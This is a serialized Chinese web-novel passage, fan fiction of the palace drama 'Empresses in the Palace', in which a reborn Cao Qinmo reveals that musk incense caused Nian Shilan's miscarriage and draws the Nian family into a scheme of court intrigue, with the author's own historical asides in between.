曹琴默自信再重来一次自己也可以让甄嬛下地狱。但她很明白自己的短板在眼界,在学识,在教养上。任何一丁点会重蹈覆辙的可能她都不想去冒险,只怕连累温宜分毫。 这个可以,池烟点了点头,随着光圈进入到新的任务中去。 再次降落的地点是在雍亲王府,而此时,正是曹琴默有孕三月时。 这是曹琴默特意选择的时间,她怕换一个人肚子里的小人儿不一定是温宜;也怕池烟没有经历过十月怀胎的期待,不能全心全意的爱护温宜。 “我跟你说话呢,你装什么哑巴!” 入耳的是一道娇蛮又满含怒气的声音,曹琴默微微分辨便知自己的处境。 “福晋息怒,妾身只是想着福晋您这次的小日子似乎有些不一样。” 年世兰微微一滞,有些狐疑的看着曹琴默道:“哪里不一样?” “听颂芝姑娘说,福晋您这次小日子流了十分多的血。妾身瞧着也觉得不妥,您一向康健,怎的唇色已是泛白了?” 年世兰这才慌忙看向颂芝,只见颂芝微微点了点头,她恍然觉得自己最近腹痛难忍,流血不止有些怪异了。 “你到底是何意?” 曹琴默掩了掩鼻子,看向一旁的香炉。 “福晋,府中毕竟是同宜院那位深耕多年的地盘,纵使您手头有了一半的府务,也要谨慎为上。” 年世兰难得高看了曹琴默一眼,这人倒是跟前段时间少来她这院子里,说话飘缈的样子有些不同了。 “你且说来。” “不过是个大夫,福晋您有出府的权利,还怕没有人说真话吗?” 从前倒是一门心思的围着王爷转悠,很久不曾自己出去轻松一下了。 年世兰想了想:“你这胎也有三月了,可是稳当了??” 曹琴默感受了一下,这位倒是谨慎,察觉有孕后便远离了年世兰些,对入口的食物茶水,还有路面上可能出来的石头水渍都防的紧。这次跟着年世兰出府是个机会。 “托了福晋的照料,现下都好。” “那你陪我一同去。” 年世兰拍板,便想着叫颂芝去王爷那里说一声。 “慢着。” 曹琴默拦住了颂芝:“福晋,先通知年府,这大夫,还是自己人用的踏实。” 年世兰点了点头,周宁海便直接出门。 “你倒是跟着以往不太相同了。” 年世兰娇蛮但不蠢笨,此刻也并未被雍亲王完全洗脑成一个只知道嫉恨的毒妇,对于手下的曹琴默,自然感觉到了异样。 以往的曹琴默恭敬中带着隐忍,倒是今日得曹琴默,瞧着大气了些。 “有孕前想着争宠,心思多些。初有孕信时多思多疑,难免对福晋也有所警惕。如今坐稳了胎,自然是要为着今后打算才是。” 对于年世兰来说,她并不在乎门下小弟的心思是多还是少,只要于她来说有用,并且让她看到价值,最重要的是,曹琴默聪明,但不够漂亮。 “你今日倒是坦诚,说的话本福晋爱听。” 她是个性子直接的,若这曹琴默说要跟她姐妹情深她才会暴起。有目的好啊,她年世兰给的起交换,就看曹琴默的脑子值不值当了。 “后院和年大将军的战扬总是差不多的,尔虞我诈你死我活,敌人,可不止一个。” 曹琴默的眼神不再是畏畏缩缩,反而透露出一种隐隐的期待感。 年世兰挑了挑眉:“是啊,敌人,可不止一个。” (谁说明着聪明不行呢?曹姐告诉你,那你还是不够聪明。) 第144 章 曹琴默2 “曹格格有孕,爷还没去看过几次呢,当心小阿哥不高兴,等出生后不跟爷亲近了。” 胤禛笑着点了点年世兰的额头:“爷的世兰也太难伺候了些,叫爷亲近也不是,离开更是舍不得。” 正是对爱情憧憬的年龄,胤禛虽大了年世兰许多,但气度不凡情话又信手拈来,可不哄的她五迷三道的。 “爷惯会取笑世兰,世兰不依。” 其实跟曹琴默不过是利益交往,年世兰需要曹琴默这一胎带给她好孕气;而曹琴默需要年世兰的庇护。 原先她只觉得曹琴默聪明有余但为人有些阴沉眼界也不够。但不知为何昨日瞧着像变了一个人,眼底的光炙热而又明亮。 (曹琴默:有没有可能我这是馋你的钱呢世兰丫头。(歪嘴邪笑嗓子里冒气泡)) 想到曹琴默那意味深长看向香炉的眼神,年世兰打了个寒颤。 “怎么了世兰?可是不舒服?” 胤禛抱着年世兰的手一顿,脸上是不见虚假的关心和担忧。 年世兰笑了笑,把曹琴默的话抛在一边,腻腻歪歪的娇声道:“才没有呢,可能是小日子来了疲乏的很。” 这次的小日子也不知道是什么怎么回事,腹痛难忍量又极大,整个人都有些昏昏沉沉的。不过府医说了无事,只是沾了些许寒凉。年世兰便日日不见风在屋中歇着。 胤禛不着痕迹的看了一眼香炉,想着这麝香是活血化瘀之物,小日子用确实不太好。 “那便去休息吧,爷叫颂芝给你送碗雪燕来补补。”骤然说起香料定是会惹人怀疑,胤禛只好叫年世兰远离这欢宜香,说不得会好些。 在胤禛怀中的年世兰没有看到那隐晦的眼神,但是颂芝看到了。 想着昨日曹格格的话,颂芝心里隐隐有些不安。 “好了,你休息吧,爷去看看曹格格。” 胤禛拍了拍年世兰的手起身离开,颂芝犹豫了片刻看着自家福晋脸上幸福的笑容还是退了出去。 曹琴默住在绮霞苑西边的玉澜堂,虽然小了些,但对比东边冯格格得翠微阁瞧着倒是华丽不少。 冯格格比曹琴默漂亮,但为人木讷也不会说什么漂亮话,并不算得胤禛的喜爱。 “妾身给爷请安。” 胤禛伸手碰了一下曹琴默的胳膊:“起来吧,有了身子不必如此多礼。” 这句话说的既不走心也不温柔,但好歹顾忌着肚子伸了下手,也算是当了半个人。 “孩子怎么样?府医可尽心?” 如今已经算的上是尘埃落定,日日守在畅春园的胤禛难得回府一趟,自然要哄好夺嫡帮手年羹尧的妹妹,连带着也关心一下府中唯一的孕妇。 他心里思量着,若是按照现在的情形来看,只要不发生意外,曹琴默这一胎约莫着会在他登基后出生。不论是阿哥还是格格,平安健康出生都是好兆头。 “妾身都好,有年福晋照看,新鲜的果子和蔬菜是不缺的。孩子也是个懂事的,孕期的反应不大,爷放心。” 胤禛笑着摸了摸曹琴默在宽大衣裳里不明显的肚子:“世兰脾气急躁,但为人不坏,有她照看你爷很放心。” 只见曹琴默勾唇一笑,按住了胤禛的手道:“是,年福晋心直口快,只对那起子背后小人严苛罢了。” 胤禛心里头有丝丝异样感,他看向曹琴默的眼睛,试图寻找一些信息。 “不知爷可有做什么胎梦?妾身这两日总梦见霞光万丈似有鸟鸣起舞之像,想来,妾身肚子里是个娇俏的格格。” 曹琴默并没有闪避胤禛的眼神,只不过须臾间又说起了肚子里的孩子。 胤禛按下心头疑惑转而有些好奇的问道:“人人都愿有个阿哥傍身,你倒是不同。” “阿哥也好,格格也好,都是从妾身肚子里掉下来的一块肉。厚此薄彼可不是慈父之为啊爷。” 曹琴默垂眼的笑容太过温柔,胤禛下意识的忽略了她刚刚话语里的试探。 本想着今日去福晋房中休息的他也颇有些意动:“时候不早了,先歇着吧。” 日日在皇阿玛跟前候着,紧绷的心神得以放松便不愿再去一板一眼的地方待着了。 胤禛先一步洗漱回来,他靠在床头看着枕头旁的一本好似拼贴出的小书拿起来翻了两下。 可以看的出这并不是真正意义上的书本,里头只有三篇故事,分别是【守株待兔】【刻舟求剑】和【疑邻盗斧】。 字体有些歪斜但还算工整,墨渍也是新鲜的,瞧着也就是这一两日的功夫。 “爷倒是不知你还有这份闲情雅趣,怎的看上了这些?” 曹琴默是下五旗的秀女,先帝看在其祖父曾经于朝廷有些用处,虽然家道中落仍旧留了牌子,被德妃看中指到了雍亲王府。 当时的胤禛是万分不喜的,曹琴默的父亲如今只是个从六品的涿州州同,家世不显样貌也平平。不过是看在其祖父曹贞吉的面子上,胤禛原想着这样一位文人雅士的后人多少能够出口成章,与他畅谈一番。 没想到曹家自曹贞吉后竟一代不如一代,如今的曹琴默竟只能背的出几首诗词而已。渐渐的,胤禛也不爱往曹琴默房中去了。 如今倒是稀奇了,难不成是体内的文学素养突然冒出来了不成? “爷也知道,妾身入府时托皇上对祖父还有些印象,便许了妾身多带了两本书。说来惭愧,父亲总说自祖父后家中再没有能担起书香门第的名声后人。 便起了心思叫妾身和几位兄长都带了书在身边。说有了孩子,便念与其听,说不得能继承祖业。” 胤禛听罢也笑出了声,曹轩(曹琴默父亲)此人虽不如其兄长曹霈曹涵有能力,也算不得上进,但为人豁达着实有趣。 “那怎的不见你看书?倒是抄写了几个小故事。” 曹琴默笑了笑:“分到妾身手中的是【吕氏春秋】【列子】和【韩非子】三本。爷也知道妾身,所以便抄录了几个有趣的故事,读给孩子听。” “哦?有趣?从何说起?” 这些书胤禛都读过,倒是没发现有趣的点。 曹琴默指着其中的【疑邻盗斧】说道:“瞧,这人认为邻居偷了他的斧子,没有证据,就瞧着人家像小偷。可后来找到了斧子,又瞧着邻居不像了。 您说,这判断事情全凭他自己的想法,可不是有趣的很。这做人做事啊,都是得留下证据才好,不然,总有那心思肮脏的胡乱揣测,爷,您说是吗?” 胤禛总觉得曹琴默意有所指,但他如今并不能立刻理解她的意思。 压在心里,胤禛重新审视了一下这位入府后就不得宠爱的曹格格。 (曹贞吉在康熙朝确有此人。出生于山东安丘,官宦世家书香门第。康熙三年中进士步入仕途。曹贞吉在诗词创作方面造诣颇深。不知道大家知不知道【珂雪词】,在当时受到很多文人的推崇。当时曹贞吉和曹尔堪并称‘南北二曹’。 在康熙二十九年因官扬倾轧辞官归故里,曹家也算得上是家道中落,和曹姐比较能挨的上。) 第145 章 曹琴默3 李侧福晋已经有些日子没看到胤禛了,昨儿好不容易听说王爷回府。却没想到王爷连正院都没去,直奔绮霞苑。 那年侧福晋自己小日子就把曹格格这个不中用的推出来,一个院子里三个人有两个都是讨厌鬼! “李侧福晋安好,妾身倒是不知,原来爷还有治病的作用。想来是李侧福晋和福晋关系好,得了信儿也比咱们早些。” 年世兰还没到,坐在曹琴默身边的是费云烟这个胸大无脑一吓就跑的傻子。 不过,傻也有傻的好处。虽然费云烟瞧不上曹琴默,但自曹琴默有孕后,也别扭的送了银票来。话是不那么好听,但心意却比后院这些女人真诚些。 不用曹琴默开口,费云烟接小话的速度可快的很:“原来福晋和李侧福晋都是这么说爷的?唉,可怜咱们见爷的机会少,竟不知道爷是这般厉害的人物。” 曹琴默闭了闭眼睛:好累,以前只觉得曹姐一拖二,没想到曹姐身上有半挂。 宜修在后头也坐不住了,她紧忙起身走出来。 “妹妹们聊什么呢?这么热闹。” 正巧年世兰从门口进来,背后的霞光照在其珠光宝气的头饰上,闪的李静言翻了个白眼。 年世兰进屋下意识的看向曹琴默,也正好听到宜修的那句话。 她撇了撇嘴,手敷衍的动了一下:“福晋若是没话可说便少叫咱们过来。日日都热闹,福晋难不成还天天说这一句吗?” 宜修深吸口气,告诉自己现在是四爷的关键时期,年羹尧是万不能得罪的。 “妹妹说笑了,只是咱们姐妹之间的闲聊罢了。” 年世兰一屁股坐在椅子上,拨弄了两下茶杯嫌弃的翻了个白眼:“你们得闲本福晋可不得闲。这铺子里的账本都看不完了,哪里有空和你们说话。” 曹琴默只来了几天,还不足以用一个眼神示意年世兰领会她的意思。便端起杯子做了一个喝水的动作。 年世兰没看懂,但是又想着曹琴默不是那不谨慎的,便也跟着沾了沾唇。 宜修没有注意曹琴默,只是觉得年世兰今日抽风,敢喝她同宜院的茶水。 又一番菜鸡互啄后,曹琴默摸了摸肚子,年世兰顺势喊疼。 因着欢宜香,年世兰本身小日子就难捱些,府医把脉也不敢说了实话,只说年侧福晋又用了寒凉物,才导致腹痛难忍。 胤禛自畅春园赶回来,他并不想分辨福晋在其中是冤屈还是事实,如今这节骨眼,他是万不会得罪一点年羹尧的。 “福晋生病管家不利,便由年侧福晋掌家。” 说完,胤禛又叫年世兰好好休息便走了。 曹琴默低头笑了笑,她就知道,这个节骨眼,胤禛只会把年世兰高高的捧着。如今肚子里这个小小的胚胎才三个月,还不足以分辨性别,宜修的手段难保从犄角旮旯里给她一击。 她能保证自己谨慎,但不能百分百确定方方面面的安全。不仅是为了平安生下温宜,也是为了那些脏的臭的都不得进身。所以宜修还是先休息吧,省得在外头只盯着她的肚子。 “你倒是聪慧,一言不发的帮本福晋拿了所有的管家权。” 年世兰坐在轿子里,眼底的得意盖住了苍白的脸色,神采飞扬的神情衬得这小小的空间都明亮了几分。 “不过是暂时的罢了,福晋,同宜院那位在宫里可有靠山。” 任何一个会对温宜有威胁的人物,都是曹琴默的狙击目标。这其中,自然也包括年世兰。既然用户的要求是保护温宜,那所见之人,便都在敌对的范围内。 年世兰冷哼了一声:“本宫的哥哥战功赫赫,岂是那等破落户能比的。” “再落魄,也是满军旗上三旗的后人,福晋,不可操之过急。” 年世兰气恼的抬起手,却看着曹琴默不躲不闪的眼神泄了气。 “你当真以为本福晋不敢罚你吗?不过是个小小的格格,本福晋只用一句话,便能叫你和你肚子里的孩子丧命。” “自然,福晋家世在王爷后院算的上是显赫,如今年大将军又是王爷的左膀右臂。妾身一个小小的格格,家道中落没有门路,确实可以说是‘命如草芥’四个字。 福晋生气也好,愤恨也罢。若是过了今日,福晋仍旧想要动手,妾身自是认了。” 年世兰恨恨的咬了咬唇,她还做不出在这青天白日就把人推出马车的粗鄙之举。只是想要发泄的心实在难忍。 她伸手掐住曹琴默的胳膊,刚想用力就被曹琴默握住了手腕。 “福晋,不过是一个时辰的功夫,您都等不得了吗?” 曹琴默眼底的狠辣让年世兰有些惊讶,在她的印象里,曹琴默一直是那个唯唯诺诺的破落格格,没有容貌没有家世没有底气难成大事。 她心里也发了狠,倒要看看这位‘深藏不露’的曹格格在作弄什么幺蛾子。若是给她知道在装神弄鬼,定要像惩治齐氏那般,好好折磨她。 “好,本福晋,便等着曹格格的说辞。” 曹琴默放开了年世兰的手腕,不紧不慢的整理了自己的袖口。 她在心底冷笑一声,原身在这个节骨眼也察觉到了年世兰这次小日子的不同,只是她身在局中,虽对那位王爷有所猜疑但并因着不了解,错过了一些真相。 到了锦绣阁,是年家为年世兰准备的陪嫁铺子。 掌柜的得了信儿,早早便在上头准备好了茶水点心,自然,年府的府医也候在了那里。 端看年世兰进门的模样,府医便狠狠的皱起了眉头。 “徐府医。” 年世兰到底是在年家长大的,看徐府医的表情就觉得心头不安。 “小姐,快坐下。” 徐府医医承万密斋,是康熙亲封的‘医圣’,行医五十余载,弟子众多,其中就有徐川徐府医。 徐府医曾陪着年羹尧上过战扬,后因试毒导致下肢行动不便,才又回到年府温养。 不过,曹琴默记着,这位徐府医医者不能自医,在雍正二年就去世了。所以才叫当时求子心切的年世兰找了一位陌生的神医进宫,错过了真相。 曹琴默静静的坐在一旁,看着徐府医在手指搭到年世兰手腕上就眉头紧蹙,片刻都不曾舒展。 “大小姐,您,这是小产了啊!” 年府医眼眶湿润,没想到他们家千娇百宠的大小姐,嫁到雍亲王府,居然连小产都没人发现。 “小,小产?!” 年世兰抓住徐府医的手,不可置信的喊道。 “不足一月,长期熏用麝香,自然滑胎。” 徐府医闭上眼睛,不忍再看。 年世兰骤然失了力气,跌坐在椅子上眼神失焦。 “小姐,您要保重自己啊!” 年世兰身体中大量的麝香堆积,怕是有几年了,徐府医不敢想自家大小姐到底嫁入了怎样一个毒窝。 “你是不是知道什么?” 年世兰紧握住曹琴默的手腕,语气似是泣血般低吟。 “我进府晚,也不得王爷喜爱,能知道什么呢?” 曹琴默静静的看着她,表情没有同情也没有幸灾乐祸。 年世兰此时虽恨意和崩溃交织,但却是比以往更加清醒。她仔细回忆曹琴默自有孕后的疏离,便看向她:“你自有孕后,便很少来我的屋子,你知道什么?” 曹琴默笑了笑,眼底的嘲讽倾泻而出:“我初初有孕,闻着你屋子里的欢宜香便觉得腹中不耐。却没想到你到如今才发现。” 年世兰眼底的恨意像要灼烧了整个京城,她咬着牙对着年府医道:“哥哥如今......” 话还未说完,就被曹琴默拉住了手腕:“我就说你没脑子,你还不喜欢听。” 不等年世兰发怒,年府医深沉的看着曹琴默道:“不知这位贵人,到底何意?” 迎着年府医打量的眼神,曹琴默不闪不避:“如今不管你们愿意也好,不愿意也罢,年家的女儿已经绑在了王爷这条船上。不管是临时换墙头还是想事后功成身退,怕是,由不得年家说了算了。” 曹琴默的声音很轻,轻的几乎附耳才可闻。但她的话很重,重的要把年世兰的心坠到地狱里去。 “你如今已然敢独身出来戳破这一事,想必心头有章程。你要什么?” 曹琴默笑了笑,手里的绢帕已然湿透。过了这一关,接下来的路,就要好走的多。 (曹琴默这个角色好写也不好写。如果按照常理来说,安安分分给年世兰当军师,在恰当的时候展现出一些情分,在皇上那里展现慈母形象,足够她好好的活着。 但是也仅仅皇帝在位时,新帝登基温宜的前程未必好。 再一个,有年世兰恋爱脑的一日,她就不会允许曹琴默有所改变然后得宠的,因为剧里,曹琴默就是年世兰的跟班。那么怎么走温宜一个公主都不一定好过。 我这本书没有想过给女主改变容貌什么的然后让男人见色起意。我觉得剧里的每个姐姐都美的很有特点,并不想一键美颜美的格式化。 所以曹姐必须要把整个后宫的水都搅和了。把所有人的碗都掀了,才能浑水摸鱼。 曹姐的心性大家想必也了解,所以跟前面三个比较温和的单元来说,相对有些戾气。在我的想法里,护崽子的母亲,是不会对任何一个潜在的危险抱有善意的。所以,介意的宝宝可以后退一下。不要挑毛病,能看就看。 你要说我写的理想化,那你看那些哗一下变美独宠的就不理想化了?野史那么野我看大家看的也挺带劲嘛!) 第146 章 曹琴默4 曹琴默摸着小腹柔柔的笑了笑,脸上的阴狠和算计消失不见,满是对孩子的期盼和慈爱。 “我要你和年家护我的孩儿周全,要你和乌拉那拉宜修把王爷的后院搅和的混沌不安,最后,我要你年世兰的,性命。” 温温细细的低语仿佛是来自地狱的召唤,年府医一把拦在年世兰的身前,从药箱里抽出一柄短刀架在了曹琴默的脖子上。 曹琴默没有动,任由锋利的刀锋贴近自己柔嫩的皮肤,跳动的血管规律的触碰着冰冷的刀刃,仿佛没有察觉到危险的来临。 年世兰死死的盯着曹琴默的眼睛,笑容越来越大:“好啊,我竟不知道曹格格如此骁勇。” 曹琴默越是这般,年世兰倒更为欣赏。 “福晋,雍亲王在畅春园的时日越来越久,这说明......” 曹琴默意有所指的看了看紫禁城的方向。 年世兰轻轻拨开年府医的手走到曹琴默面前。 “那你说,本福晋如何能心甘情愿的把命交给你呢?” ‘小产’‘麝香’两词已经完全击倒了年世兰的理智,若不是年府医在此,她怕是要冲去雍亲王府杀了个干净。 “福晋,你没有选择。把命交给我,或者可以说交给王爷,换年府的生路是你唯一能做的事。” 年府医冷笑一声:“蛊惑人心,贵人很在行。但年府也不是贵人你可以算计的。” 曹琴默低低的笑,她的表情充满了嘲讽和高高在上:“年府医,不知你记不记得,年大将军于康熙五十年前做过什么事?” 年府医皱眉,突然脸色一变。 年世兰微微扭头,只听得年府医轻声道:“八阿哥。” 两人用复杂的神情看向一旁瘦弱平凡却气势狠辣的曹琴默。 “僭越,狂悖,专擅,贪黩,侵蚀。” 曹琴默看着两人的眼睛:“想必,以两位对年大将军的了解,这几个字,是不是恰到好处?” 年府医扶着年世兰坐下,眼神里带了一半欣赏一半防备:“贵人确实聪慧,但您今日之行已然是暴露,我年府未必不可以提前防备起来。万没有到舍去小姐性命的危机时刻。” 曹琴默没有说话,只是眼含笑意的看向年世兰。 年世兰闲适的靠在椅子上,嘴角扬起:“不,曹格格说的对,这不是舍去我的性命,而是用我的性命,换爱新觉罗胤禛对年府世代容忍。” 她低头看着自己的小腹,眼神里的悲怆掩藏在低垂的睫毛间:“曹格格很了解我,也很了解二哥。这件事若是说了,造反弑君的事二哥必不会手软。但年家不是我一个人的年家,族亲仆从成百上千的姻亲,不能因着我一人置身于险地。 我年世兰虽读书不多,也知道生灵涂炭四个字。但这口气我是万不会和着我儿的血肉咽下去的。活着于我而言每日都是在刀尖上行走,不如死了一了百了。可是这份痛苦,不能只有我一个人承受。” 年府医何尝不知道自家小姐的话是对的,可是这是他看着长大的小姐,他们年家......想到这里,年府医也不得不承认,大将军有些张狂了。 “小姐,别急等我回去和老爷大少爷商量一番,万不可自作主张啊!” 曹琴默甚至还有闲情逸致给自己倒了杯水,也不在乎主仆几人的焦急。 “不过是交出兵权或者摔断一条腿的办法,狠心些,年大将军的性命也就在一念之间。” 曹琴默说的正是府医心中所想,他心下骇然,这女子似乎有七窍玲珑之心。 “难不成贵人觉得不妥?” 既然雍亲王忌惮,那便急流勇退。这已经是年家最好的办法了。 曹琴默摇了摇头:“不是不妥,只是欠些时运。” 年府医抱拳躬身道:“请贵人明言。” 曹琴默动了动身子,只觉得坐的有些累了。 一旁的颂芝连忙去柜子里取出两个蓬松的软垫,一个放在椅子面上,一个放在靠背处。 “咱们这位王爷为何如此依仗年大将军,年府医可知道?” 年世兰不假思索的道:“自然是因为哥哥厉害了。” 年府医却是想起了什么声音低沉着说:“无人可用。” 跟聪明人说话就是简单,曹琴默满意的点了点头:“说的很好,无人可用。再继续想想如今的形势。” 年府医深深看了一眼曹琴默,走到门外再次叮嘱门口人守紧才回来。 “皇上病重,能担事的只有雍亲王,但雍亲王势力不丰。” “是啊,你也知道势力不丰,所以,年家如何急流勇退?” 年府医闭上了眼睛,年家现在进退维谷,实在艰难。 “就算年大将军肯悔改,但自古如年大将军般的武将,能寿终正寝的,有几人?” “再者,舍去年大将军一人又如何呢?年世兰没有孩子,深宫森森,新帝登基年家又能保她几时?” 颂芝突然跪在曹琴默腿边:“求您,曹格格求您,求您保住我家小姐!” 曹琴默看着颂芝磕红的额头把她拽了起来:“不是我不保你家小姐,端看你年家的能给我什么了。” 说着,她看向年世兰:“感情是最没用的东西,我不愿与你讲什么相互扶持姐妹情深的鬼话。利益,咱们之间只有利益。我明确的告诉你,年世兰,我利用你保我的孩子,保我的地位,保我今后的荣华富贵。” 年世兰看着曹琴默眼中热烈的野心,点了点头:“是啊,感情是最没用的东西。” 火候差不多了,曹琴默起身没有给两人反应的机会抱起了一个雕花的匣子。 “咱们该回去了。” 曹琴默恢复以往的温婉怯懦,跟在年世兰身后慢吞吞的样子跟屋中犀利的模样完全不同。 回到绮霞苑,年世兰倒头就睡,一直到月上三竿,才在一阵凝视中醒来。 “爷?!” 年世兰迷糊着唤了一声,闭了闭眼掩下心中的恨意。曹琴默说的对,一切都不到时候。 “怎么不等过两日再去盘账?瞧你这脸色白的。” 这次因着在同宜院喊痛叫了府医细细把脉,胤禛才知道年世兰又流了一个孩子。 欢宜香里的马麝效力强,这孩子还不足一个月,就这么悄悄的走了。 头一日年世兰喊了府医,却因着这几年欢宜香的缘由并没有仔细查探,这才导致错过了真相。没想到阴差阳错,这锅又扣在了宜修头上。 胤禛看着年世兰的眸光里带了心疼,虽然真切,但年世兰也察觉出了他身体的放松。 心中的恨意激荡一时没能演下去,给自己气晕了过去。 好在有小产的脉象混乱顶着,府医也只说年侧福晋失血过多需要好生休养。 胤禛实在忙碌,便又送来了好些金银玉器的把玩,便离开了府中。 “把欢宜香灭了。” 年世兰恹恹的靠在床上,手里捏着一个小小的红肚兜不知在想些什么。 “福晋,先把药喝了吧。” 恰好府医开了补气血的汤药,颂芝便用徐府医的药替换了下来,日日不错眼的盯着。 年世兰喝了药,只觉得心里头乱的很,一时间活下来和全部去死的念头拉扯的她头痛。 (接上一篇,有一位医圣万密斋,这不是我胡编乱造的,历史上确有其人。这种事我也不能瞎掰啊!就昨天少说一句,哎。) 第147 章 曹琴默5 年府。 “她当真如此大胆?” 年遐龄致仕在家平日里遛鸟养花,虽然现下局势有些紧张,但两个儿子都是有脑子的,唯有小儿子分寸感不佳他有些许担心外,并无太多烦恼。 只是如今想来,却一身冷汗塌湿了里衣。 此时脑海里闪过无数名字,什么韩信,蓝玉,彭越,英布,周亚夫,檀道济,石守信,李善长,高颎等,无不是辅佐一代帝王登基后,被猜忌清算的将臣。 年遐龄的手不停的颤抖,他强迫自己静下心来,分析着年家的退路。 “致仕?交出兵权?实在不行,叫亮工舍了两条腿!”年遐龄咬着牙,年家一时的隐退不算什么,孩子们都好好的才是正经。 年府医摇了摇头:“这些路子这位曹格格都算到了。若是初登基,朝政不稳,二少爷退不得。可等到后面,小姐没有孩子,深宫如何自处?况且,小姐的性子老爷又不是不知道。” 年遐龄闭眼盖住脆弱,而后又道:“你一五一十的说来。” 年府医记性不错,把年世兰带曹琴默进门到离开的话都学了一遍。 “那曹格格临走前回头看了我一眼,只说了一句:年府医的医术,可能医死人,白骨生血肉?” 年遐龄却是笑了起来,只是声音里的悲凉听的人不由得红了眼眶。 “玲珑心窍狠毒心肠,只看世兰的造化了。” 走到今天这一步,年家未必没有自救的路子,可正如这位曹格格所言,他们的世兰不会选择断臂求生。 这位曹格格真是把每个人的心都摸透了。 “老爷!” 年府医何尝不知道这道理,可年世兰的性命在他看来是最重要的。 “世兰不会委身于杀子仇人的身下的,更遑论用她二哥的性命铺垫她的荣华路。” 年遐龄本还算挺拔的身姿骤然变的佝偻起来,不过眼神里的光却并不曾熄灭:“那位曹格格的意思你可懂了?” 年府医愣了愣:“我并不能医死人白骨生血肉啊!” 年遐龄翻了个白眼:“不,曹格格是提醒你,若是能让世兰假死脱身,也算是保了她一命。” “是啊,假死脱身。可是宫中太医医术并非好糊弄,典籍中记载......” 年府医嘟囔着便离开奔向自己的书房,他的师傅留下了不少残缺的医籍孤本,未必没有希望。 年遐龄看着空荡荡的院子回到屋内给自己远在安徽的大儿子写信。从龙之功的富贵,终究是怕没有性命去享啊! 年府的谋划基本在曹琴默的算计内,年世兰和年家纠葛不可分开。 他们所有的办法无非是舍弃,舍弃年羹尧或者舍弃年世兰。但这两样怕是年家无法抉择。 这就是曹琴默给年家的唯一的路子,只有她在,才能叫年世兰有机会保了这条命也保了年家。 到底是年世兰掌家,年家送进来了不少布料补品,其中混进来了年府医给年世兰调养身体的药,和一匣子银票。 曹琴默不客气的收下了,这是她应得的。 “这是怎么了?斗志全无?” 这天儿真是开始变冷了,阳光下的风都是凉的。 年世兰哼了一声:“我又不是那起子没心肝的人,失了孩子怎能不难受。” “光难受可不能为孩子报仇,趁着同宜院那位禁足,你可得把这雍亲王府摸的透透的才好。” 曹琴默可不是来当知心大姐的,什么身体不适都算不得理由。剧里她不是也这般生龙活虎的和宜修一同操持了先帝丧仪中府中的大小事务吗? 年世兰疑惑的看了曹琴默一眼,总觉得她话里有话。 “知道了,你也太小看本福晋的手段了。这大把的银子撒下去,可比小家子气的乌拉那拉宜修多年经营还要管用的多。” 曹琴默不置可否的摇了摇头,四肢发达的人头脑简单这话也不全对,不过放在年世兰身上还是合适的。 “不说这些了,你肚子可还稳当?上次走的急,也没叫徐府医给你看看。” 年世兰神情有些落寞,但还是撑着精神道:“若是个阿哥,你便稳当了。” “我倒是觉得,是个小格格。” 曹琴默今日倒是打扮的清爽,简单的温柔的浅紫色旗装,头上也只用了两根银钗做点缀。 “格格也好,总归是个念想。等过几年养好了身子,再生个阿哥,便不用愁了。” 说着,叫颂芝拿了好些首饰匣子来。 “你打扮的也太简陋了,比那吕格格还不如。怎么说也是我的人,可别丢了我年世兰的脸面。” 曹琴默让后头的音袖接过,转头说起了别的话题。 “后院久不见婴儿啼哭,你以为如何?” 曹琴默可太喜欢宜修有一个白月光姐姐可以利用了。她得好好打算,为胤禛再奉上一位无可指摘热烈貌美的朱砂痣,为她所用才好。 年世兰虽有杀夫的心思,但到底年府还算干净,没见过如此小家子气的当家主母,一时没有反应过来。 “还能如何,都是些不争气的。” 曹琴默喝了口颂芝亲自调的蜜水,被热水氤氲的眉眼模糊住了里头的算计:“听说,咱们后院,时常有姐妹像福晋这次一般,小日子难过难捱。” “你的意思是?” 年世兰突然笑了起来:“果然是极般配的庶出夫妻,手段是一模一样的狠毒。” “虽说雁过留痕,但到底时间久了些。不过,这往后的日子,福晋,您得让她们生啊,您得委屈,嫉妒,扭曲着自己的内心,让她们生。” 说到这里,曹琴默放下杯子笑的阴狠:“这次是多好的机会啊,福晋这一胎落的无声无息也太过委屈了。麝香功效如此狠毒,福晋因此得了下红之症,也不奇怪。福晋,您觉得呢?” 年世兰当然不想再委身于爱新觉罗胤禛的身下,这提议倒是十分符合她的心意。 “你说的是,我儿怎能走的这样无声无息,定要日日,夜夜,提醒那个男人,我的孩子是怎么死于他手的!” 年世兰看了一眼颂芝,颂芝立刻意会,准备传信回年府,叫年府医弄些药进来。 “那我第一个孩子呢?齐格格,王爷,还有谁?” 初有孕时胤禛的欣喜和肚子日渐变大后他眉眼间的阴郁清晰的浮现在年世兰的脑海,从前不明白,如今清楚的多。 “问我吗?我比福晋入府要晚的多。但是这一环环,怕是这几人,都逃不脱。” “乌拉那拉氏恨我我自然知道,王爷到底为何?” 曹琴默敲了敲桌子,意味深长的样子叫年世兰心头不安:“为何?兔死狗烹,鸟尽弓藏。年大将军会因着你这孩子更为忠心还是以继承人的舅父自居,谁又能知道呢?” “哈,哈哈哈哈。” 年世兰笑的眼泪都出来了,她红着眼睛看着门外被夕阳染红的半边天半晌无言。 (曹姐的人设是:王锦蛇。没有毒,但能吃下所有有毒的同类。嘻嘻,对年世兰不太友好,但是比剧里好的多。孩子都能活,人力是基础嘛。 对上年世兰这一场挺有胜算的,因为年世兰有个很大的优点,她很在乎家里人。 而且不打算走讨好胖橘的路子,反正他也不待见咱曹姐,干啥费那劲。想要孩子了叫年世兰给咱把人弄来睡几觉就行了。不是雌竞,但是人设并不是好人。再次强调了啊,介意的可以不看但是不能骂人,我玻璃心。) 第148 章 曹琴默6 眼瞧着绮霞苑的内的海棠树由郁郁葱葱彰显生机的绿色,逐渐泛黄叶落,又在一夜之间挂上一层白白冷冷的霜。恰如现在府中和外头的形势,叫人小心翼翼的摒神静气,只敢在深夜里兀自猜测,这一场无声的硝烟到底会弥漫落谁家。 畅春园清溪书屋。 “王爷,万岁爷醒了。” 这已经是这个月康熙昏迷的第二次了,自月初开始,这位差几月就要迈入古稀之年的皇帝意识已经逐渐混浊了起来。 从年世兰小产那日匆匆一别,胤禛常住畅春园也有两月之久。每天不是忙着在床前尽孝,就是批读折子给自家不曾放权的皇帝爹听。府中事没有一点时间过耳,自然也不知道,如今的雍亲王府,已经快要是年世兰的天下了。 不过,按照如今的形势来看,胤禛也万不会因为被年世兰撤换几个奴才,就对她有所不满的。 “皇阿玛,您醒了。” 康熙睁开眼睛,眼前又是一片雾蒙蒙的画面,好一会儿才聚焦到胤禛身上。 “老四,你做的很好。” 